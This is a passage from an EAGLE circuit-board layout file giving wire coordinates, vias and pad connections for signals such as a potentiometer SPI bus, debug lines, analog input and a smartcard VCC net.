y2=\"59.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"38.3\" y1=\"55.6\" x2=\"34.7\" y2=\"59.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"38.3\" y1=\"49.5\" x2=\"38.3\" y2=\"55.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39.4\" y1=\"48.4\" x2=\"38.3\" y2=\"49.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"46.5\" y1=\"36.8\" x2=\"41.7\" y2=\"36.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.4\" y1=\"37.7\" x2=\"46.5\" y2=\"36.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"66.9\" y1=\"38.1\" x2=\"66.5\" y2=\"37.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68.5\" y1=\"39.7\" x2=\"66.9\" y2=\"38.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"80\" y1=\"38.6\" x2=\"71.4\" y2=\"38.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"71.4\" y1=\"38.6\" x2=\"69.2\" y2=\"38.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"83.6\" y1=\"35\" x2=\"80\" y2=\"38.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"26.1\" y1=\"59.2\" x2=\"26.1\" y2=\"59.15\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68\" y1=\"47.2\" x2=\"64.6\" y2=\"47.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68.3\" y1=\"47.5\" x2=\"68\" y2=\"47.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"71.1\" y1=\"40.6\" x2=\"71.1\" y2=\"45.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"71.4\" y1=\"40.3\" x2=\"71.1\" y2=\"40.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"71.4\" y1=\"38.6\" x2=\"71.4\" y2=\"40.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.6\" y1=\"47.2\" x2=\"64.52\" y2=\"47.1962\" width=\"0.2\" layer=\"1\"/>\n<via x=\"34.7\" y=\"59.2\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"41.7\" y=\"36.8\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"66.9\" y=\"38.1\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"68.5\" y=\"39.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"68.3\" y=\"47.5\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"71.4\" y=\"40.3\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"69.2\" y1=\"38.6\" x2=\"68.6\" y2=\"39.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68.6\" y1=\"39.2\" x2=\"68.5\" y2=\"39.7\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"JP14\" pad=\"31\"/>\n<wire x1=\"40.2\" y1=\"40.2\" x2=\"40.2\" y2=\"44\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"83.7\" y1=\"35\" x2=\"83.67\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"83.6\" y1=\"35\" x2=\"83.67\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.4\" y1=\"47.3\" x2=\"39.4\" y2=\"48.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"66.5\" y1=\"37.7\" x2=\"63.7\" y2=\"37.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.7\" y1=\"37.7\" x2=\"62.9\" y2=\"38.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.9\" y1=\"38.5\" x2=\"61.4\" y2=\"38.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.4\" y1=\"38.5\" x2=\"60.6\" y2=\"37.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.6\" y1=\"37.7\" x2=\"47.4\" y2=\"37.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68.3\" y1=\"47.5\" x2=\"69.4\" y2=\"47.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"71.1\" y1=\"45.8\" x2=\"69.4\" y2=\"47.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"40.2\" y1=\"44\" x2=\"40.8\" y2=\"44.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"40.8\" y1=\"44.6\" x2=\"40.8\" y2=\"45.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"40.8\" y1=\"45.9\" x2=\"39.4\" y2=\"47.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"40.2\" y1=\"40.2\" x2=\"41\" y2=\"39.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41\" y1=\"39.4\" x2=\"41.9\" y2=\"39.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41.9\" y1=\"39.4\" x2=\"41.9\" y2=\"36.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41.9\" y1=\"36.8\" x2=\"41.7\" y2=\"36.8\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"!POT_SLAVE_SELECT\">\n<contactref element=\"U6\" pad=\"40\"/>\n<contactref element=\"U1\" pad=\"1\"/>\n<wire x1=\"57.9\" y1=\"46\" x2=\"57.9\" y2=\"44.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"58\" y1=\"46\" x2=\"57.9\" y2=\"46\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"58\" y1=\"35.2\" x2=\"58\" y2=\"46\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"58.2\" y1=\"35\" x2=\"58\" y2=\"35.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"57.9\" y1=\"44.6\" x2=\"57.8906\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"58\" y1=\"35.1\" x2=\"58\" y2=\"28.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"67.6\" y1=\"26.7\" x2=\"67.6378\" y2=\"26.61\" width=\"0.2\" layer=\"1\"/>\n<via x=\"58\" y=\"46\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"21\"/>\n<wire x1=\"58.3\" y1=\"35\" x2=\"58.27\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"58.2\" y1=\"35\" x2=\"58.27\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"58\" y1=\"35.1\" x2=\"58.27\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"67.6\" y1=\"26.7\" x2=\"60.1\" y2=\"26.7\" width=\"0.2\" layer=\"1\"/>\n<via x=\"60.1\" y=\"26.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"60.1\" y1=\"26.7\" x2=\"58\" y2=\"28.8\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"POT_CLOCK\">\n<contactref element=\"U6\" pad=\"39\"/>\n<contactref element=\"U1\" pad=\"2\"/>\n<wire x1=\"57.4\" y1=\"45.6\" x2=\"57.4\" y2=\"44.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.2\" y1=\"45.8\" x2=\"57.4\" y2=\"45.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.2\" y1=\"46.7\" x2=\"57.2\" y2=\"45.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.1\" y1=\"46.6\" x2=\"57.2\" y2=\"46.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"57.1\" y1=\"43.7\" x2=\"57.1\" y2=\"46.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.9\" y1=\"42.5\" x2=\"57.1\" y2=\"43.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.9\" y1=\"35.2\" x2=\"55.9\" y2=\"42.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.7\" y1=\"35\" x2=\"55.9\" y2=\"35.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"57.4\" y1=\"44.6\" x2=\"57.408\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.6\" y1=\"25.4\" x2=\"67.6378\" y2=\"25.34\" width=\"0.2\" layer=\"1\"/>\n<via x=\"57.2\" y=\"46.7\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"20\"/>\n<wire x1=\"55.7\" y1=\"35\" x2=\"55.73\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.7\" y1=\"35\" x2=\"55.73\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.9\" y1=\"35.1\" x2=\"55.73\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"67.6\" y1=\"25.4\" x2=\"67.5\" y2=\"25.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.5\" y1=\"25.3\" x2=\"59.4\" y2=\"25.3\" width=\"0.2\" layer=\"1\"/>\n<via x=\"59.4\" y=\"25.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"59.4\" y1=\"25.3\" x2=\"55.9\" y2=\"28.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.9\" y1=\"28.8\" x2=\"55.9\" y2=\"35.1\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"RC14\">\n<contactref element=\"U6\" pad=\"74\"/>\n<wire x1=\"83.4\" y1=\"70.1\" x2=\"79.5\" y2=\"66.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"83.4\" y1=\"70.2\" x2=\"83.4\" y2=\"70.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.6\" y1=\"57.7\" x2=\"64.52\" y2=\"57.7118\" width=\"0.2\" layer=\"1\"/>\n<via x=\"79.5\" y=\"66.2\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"31\"/>\n<wire x1=\"83.4\" y1=\"70.2\" x2=\"83.67\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"C34\" pad=\"2\"/>\n<contactref element=\"X2\" pad=\"1\"/>\n<wire x1=\"64.6\" y1=\"57.7\" x2=\"66.6\" y2=\"57.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"66.6\" y1=\"57.7\" x2=\"67\" y2=\"58.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67\" y1=\"58.1\" x2=\"67\" y2=\"59.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"76.03\" y1=\"63.2\" x2=\"76.8\" y2=\"63.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"76.03\" y1=\"63.2\" x2=\"73.8\" y2=\"60.97\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.8\" y1=\"60.97\" x2=\"72.67\" y2=\"62.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.67\" y1=\"62.1\" x2=\"71.75\" y2=\"62.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68.47\" y1=\"60.97\" x2=\"73.8\" y2=\"60.97\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68.47\" y1=\"60.97\" x2=\"67\" y2=\"59.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"79.5\" y1=\"66.2\" x2=\"79.5\" y2=\"65.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"79.5\" y1=\"65.9\" x2=\"76.8\" y2=\"63.2\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"DEBUG_2\">\n<contactref element=\"U6\" pad=\"7\"/>\n<wire x1=\"50.3\" y1=\"55.2\" x2=\"49.3\" y2=\"55.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55\" y1=\"50.5\" x2=\"50.3\" y2=\"55.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"58.7\" y1=\"46.8\" x2=\"55\" y2=\"50.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"58.7\" y1=\"43.7\" x2=\"58.7\" y2=\"46.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"58.4\" y1=\"43.4\" x2=\"58.7\" y2=\"43.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"58.4\" y1=\"37.3\" x2=\"58.4\" y2=\"43.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"59.5\" y1=\"36.2\" x2=\"58.4\" y2=\"37.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"59.5\" y1=\"31.3\" x2=\"59.5\" y2=\"36.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"22.9\" y1=\"27.9\" x2=\"34.5\" y2=\"27.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"13.8\" y1=\"33.1\" x2=\"18.8\" y2=\"33.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"13.8\" y1=\"40.4\" x2=\"13.8\" y2=\"33.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"13.3\" y1=\"40.9\" x2=\"13.8\" y2=\"40.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"13.3\" y1=\"48.1\" x2=\"13.3\" y2=\"40.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"13.4\" y1=\"48.2\" x2=\"13.3\" y2=\"48.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"13.4\" y1=\"65.5\" x2=\"13.4\" y2=\"63.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"13.4\" y1=\"63.6\" x2=\"13.4\" y2=\"48.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"9.8\" y1=\"69.1\" x2=\"13.4\" y2=\"65.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"9.8\" y1=\"70.2\" x2=\"9.8\" y2=\"69.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.3\" y1=\"55.2\" x2=\"49.28\" y2=\"55.1972\" width=\"0.2\" layer=\"1\"/>\n<via x=\"55\" y=\"50.5\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"59.5\" y=\"31.3\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"13.8\" y=\"33.1\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"2\"/>\n<wire x1=\"9.8\" y1=\"70.2\" x2=\"10.01\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"19.7\" y1=\"31.1\" x2=\"22.9\" y2=\"27.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"59.5\" y1=\"31.3\" x2=\"54.8\" y2=\"31.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18.8\" y1=\"33.1\" x2=\"19.7\" y2=\"32.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"19.7\" y1=\"32.2\" x2=\"19.7\" y2=\"31.1\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP38\" pad=\"TP\"/>\n<wire x1=\"9.6\" y1=\"70.61\" x2=\"10.01\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"16.7\" y1=\"63.6\" x2=\"13.4\" y2=\"63.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"54.8\" y1=\"31.3\" x2=\"53.8\" y2=\"30.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"53.8\" y1=\"30.3\" x2=\"53.6\" y2=\"30.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"53.6\" y1=\"30.3\" x2=\"52.8\" y2=\"31.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.8\" y1=\"31.1\" x2=\"39.4\" y2=\"31.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.4\" y1=\"31.1\" x2=\"38.4\" y2=\"30.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"38.4\" y1=\"30.1\" x2=\"36.7\" y2=\"30.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"36.7\" y1=\"30.1\" x2=\"34.5\" y2=\"27.9\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"DEBUG_1\">\n<contactref element=\"U6\" pad=\"6\"/>\n<wire x1=\"40.4\" y1=\"55.7\" x2=\"49.2\" y2=\"55.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.2\" y1=\"55.5\" x2=\"40.4\" y2=\"55.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"34.9\" y1=\"60.8\" x2=\"40.2\" y2=\"55.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"33.2\" y1=\"62.5\" x2=\"34.9\" y2=\"60.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"20.1\" y1=\"62.5\" x2=\"33.2\" y2=\"62.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18\" y1=\"64.6\" x2=\"20.1\" y2=\"62.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18\" y1=\"68.4\" x2=\"18\" y2=\"64.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"14.1\" y1=\"68.4\" x2=\"18\" y2=\"68.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"12.3\" y1=\"70.2\" x2=\"14.1\" y2=\"68.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.2\" y1=\"55.7\" x2=\"49.28\" y2=\"55.7052\" width=\"0.2\" layer=\"1\"/>\n<via x=\"40.2\" y=\"55.5\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"34.9\" y=\"60.8\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"3\"/>\n<wire x1=\"12.3\" y1=\"70.2\" x2=\"12.55\" y2=\"70.2\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP39\" pad=\"TP\"/>\n<wire x1=\"12.2\" y1=\"73.3\" x2=\"12.2\" y2=\"70.55\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"12.2\" y1=\"70.55\" x2=\"12.55\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"RB15\">\n<contactref element=\"U6\" pad=\"44\"/>\n<wire x1=\"59.9\" y1=\"46.1\" x2=\"59.9\" y2=\"44.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.4\" y1=\"46.6\" x2=\"59.9\" y2=\"46.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.6\" y1=\"46.6\" x2=\"60.4\" y2=\"46.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.3\" y1=\"47.3\" x2=\"61.6\" y2=\"46.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.2\" y1=\"47.3\" x2=\"62.3\" y2=\"47.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"68.3\" y1=\"35\" x2=\"68.3\" y2=\"35.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"59.9\" y1=\"44.6\" x2=\"59.8972\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<via x=\"61.6\" y=\"46.6\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"25\"/>\n<wire x1=\"68.4\" y1=\"35\" x2=\"68.43\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68.3\" y1=\"35\" x2=\"68.43\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"67.6\" y1=\"36\" x2=\"67.7\" y2=\"36\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"67.7\" y1=\"36\" x2=\"68.3\" y2=\"35.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.2\" y1=\"39.5\" x2=\"63.3\" y2=\"40.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.3\" y1=\"40.4\" x2=\"63.3\" y2=\"47.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.2\" y1=\"47.3\" x2=\"63.3\" y2=\"47.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"67.6\" y1=\"36\" x2=\"65.3\" y2=\"38.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"65.3\" y1=\"38.3\" x2=\"65.3\" y2=\"38.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"65.3\" y1=\"38.6\" x2=\"64.4\" y2=\"39.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.4\" y1=\"39.5\" x2=\"64.2\" y2=\"39.5\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"RB14\">\n<contactref element=\"U6\" pad=\"43\"/>\n<wire x1=\"59.4\" y1=\"41.7\" x2=\"59.4\" y2=\"44.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"66\" y1=\"36.7\" x2=\"64.3\" y2=\"38.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"66\" y1=\"35.1\" x2=\"66\" y2=\"36.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"65.9\" y1=\"35\" x2=\"66\" y2=\"35.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"59.4\" y1=\"44.5\" x2=\"59.3892\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<via x=\"64.3\" y=\"38.4\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"64.3\" y1=\"38.4\" x2=\"61.7\" y2=\"41\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"JP14\" pad=\"24\"/>\n<wire x1=\"65.9\" y1=\"35\" x2=\"65.89\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"65.9\" y1=\"35\" x2=\"65.89\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"61.7\" y1=\"41\" x2=\"60.1\" y2=\"41\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.1\" y1=\"41\" x2=\"59.4\" y2=\"41.7\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"ANALOG_INPUT\">\n<contactref element=\"U6\" pad=\"35\"/>\n<wire x1=\"55.4\" y1=\"45.7\" x2=\"55.4\" y2=\"44.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52\" y1=\"38\" x2=\"52\" y2=\"45.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.4\" y1=\"44.6\" x2=\"55.4014\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.4\" y1=\"34.7\" x2=\"50.65\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<via x=\"55\" y=\"46\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"54.2\" y1=\"47\" x2=\"55\" y2=\"46.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55\" y1=\"46.2\" x2=\"55\" y2=\"46\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"JP14\" pad=\"18\"/>\n<wire x1=\"50.6\" y1=\"35\" x2=\"50.65\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.6\" y1=\"36.6\" x2=\"50.6\" y2=\"35\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"50.6\" y1=\"35\" x2=\"50.65\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"D5\" pad=\"P$1\"/>\n<contactref element=\"R17\" pad=\"1\"/>\n<wire x1=\"38.5\" y1=\"13.4\" x2=\"40.2\" y2=\"13.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.2\" y1=\"13.4\" x2=\"41.6\" y2=\"13.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"41.6\" y1=\"13.4\" x2=\"41.7\" y2=\"13.3\" width=\"0.2\" layer=\"1\"/>\n<via x=\"41.7\" y=\"13.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"47.2\" y=\"28.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"49\" y=\"29.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"49\" y1=\"29.3\" x2=\"50.65\" y2=\"30.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"50.65\" y1=\"30.95\" x2=\"50.65\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"47.2\" y1=\"28.7\" x2=\"47.8\" y2=\"29.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.8\" y1=\"29.3\" x2=\"49\" y2=\"29.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.2\" y1=\"28.7\" x2=\"47.2\" y2=\"26\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"47.2\" y1=\"26\" x2=\"46.1\" y2=\"24.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"46.1\" y1=\"24.9\" x2=\"45.1\" y2=\"24.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"45.1\" y1=\"24.9\" x2=\"39.8\" y2=\"19.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39.8\" y1=\"19.6\" x2=\"39.8\" y2=\"15.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39.8\" y1=\"15.2\" x2=\"41.7\" y2=\"13.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.4\" y1=\"45.7\" x2=\"55.1\" y2=\"46\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.1\" y1=\"46\" x2=\"55\" y2=\"46\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"54.2\" y1=\"47\" x2=\"53.6\" y2=\"47\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"53.6\" y1=\"47\" x2=\"52\" y2=\"45.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"50.6\" y1=\"36.6\" x2=\"52\" y2=\"38\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"38.5\" y1=\"13.4\" x2=\"37.6\" y2=\"12.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.6\" y1=\"12.5\" x2=\"37.6\" y2=\"10.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.6\" y1=\"10.95\" x2=\"37.65\" y2=\"10.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.75\" y1=\"10.8\" x2=\"37.65\" y2=\"10.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.285\" y1=\"11.8\" x2=\"40.285\" y2=\"13.315\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.285\" y1=\"13.315\" x2=\"40.2\" y2=\"13.4\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"RB10\">\n<contactref element=\"U6\" pad=\"34\"/>\n<wire x1=\"54.9\" y1=\"42.9\" x2=\"54.9\" y2=\"44.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.4\" y1=\"41\" x2=\"53.6\" y2=\"42.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.7\" y1=\"41\" x2=\"52.4\" y2=\"41\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.5\" y1=\"40.8\" x2=\"50.7\" y2=\"41\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.9\" y1=\"38.2\" x2=\"50.5\" y2=\"40.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"47.9\" y1=\"35.1\" x2=\"47.9\" y2=\"38.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"48\" y1=\"35\" x2=\"47.9\" y2=\"35.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"54.9\" y1=\"44.5\" x2=\"54.8934\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<via x=\"50.5\" y=\"40.8\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"17\"/>\n<wire x1=\"48.1\" y1=\"35\" x2=\"48.11\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"48\" y1=\"35\" x2=\"48.11\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"53.6\" y1=\"42.2\" x2=\"54.2\" y2=\"42.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"54.2\" y1=\"42.2\" x2=\"54.9\" y2=\"42.9\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"SMARTCARD_VCC\">\n<contactref element=\"U6\" pad=\"33\"/>\n<contactref element=\"U7\" pad=\"CARD_VCC_PIN1\"/>\n<wire x1=\"54.4\" y1=\"45.6\" x2=\"54.4\" y2=\"44.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"54\" y1=\"46.1\" x2=\"54.4\" y2=\"45.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.4\" y1=\"44.5\" x2=\"54\" y2=\"46.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"52.4\" y1=\"36.8\" x2=\"52.4\" y2=\"44.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"52.3\" y1=\"36.7\" x2=\"52.4\" y2=\"36.8\" width=\"0.2\" layer=\"1\"/>\n<wire 